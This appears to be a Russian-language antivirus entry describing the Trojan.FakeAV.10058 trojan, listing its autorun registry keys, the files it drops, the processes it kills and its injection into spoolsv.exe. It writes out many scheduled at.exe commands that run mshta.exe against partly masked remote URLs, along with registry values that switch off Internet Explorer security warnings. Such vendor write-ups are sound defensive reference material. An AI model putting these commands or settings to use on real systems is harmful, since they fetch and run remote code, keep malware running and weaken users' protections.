Trojan.FakeAV.10058

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%APPDATA%\palladium.exe'
[<HKLM>\SYSTEM\ControlSet001\Control\Print\Providers\3022154008] 'Name' = '"%TEMP%\2.tmp"'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\at.exe 14:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 15:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 16:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 11:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 12:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 13:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 17:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 21:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 22:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 23:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 18:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 19:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 20:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 01:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 02:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 03:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\mshta.exe http://re###ury.com/inst.php?id################
<SYSTEM32>\cmd.exe /c ""%APPDATA%\asdfasfas.bat" "
<SYSTEM32>\at.exe 00:1
<SYSTEM32>\at.exe 04:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 08:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 09:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 10:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 05:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 06:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######
<SYSTEM32>\at.exe 07:1 /every:M,T,W,Th,F,S,Su mshta.exe http://dr###bear.com/sdjkgdl.php?sd#######

Внедряет код в

следующие системные процессы:

<SYSTEM32>\spoolsv.exe

Завершает или пытается завершить

следующие пользовательские процессы:

skype.exe
iexplore.exe
opera.exe
YahooMessenger.exe
msnmsgr.exe
msn6.exe
firefox.exe
chrome.exe

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnZoneCrossing' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPostRedirect' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'currentlevel' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1601' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1400' = '00000000'

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\jh1.exe
%APPDATA%\asdfasfas.bat
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\inst[1].php
%WINDIR%\Temp\3.tmp
%TEMP%\1.tmp
%APPDATA%\palladium.exe
%TEMP%\a.txt
%TEMP%\aslkhs
%TEMP%\c.txt
%APPDATA%\uid_pal
%TEMP%\jh.exe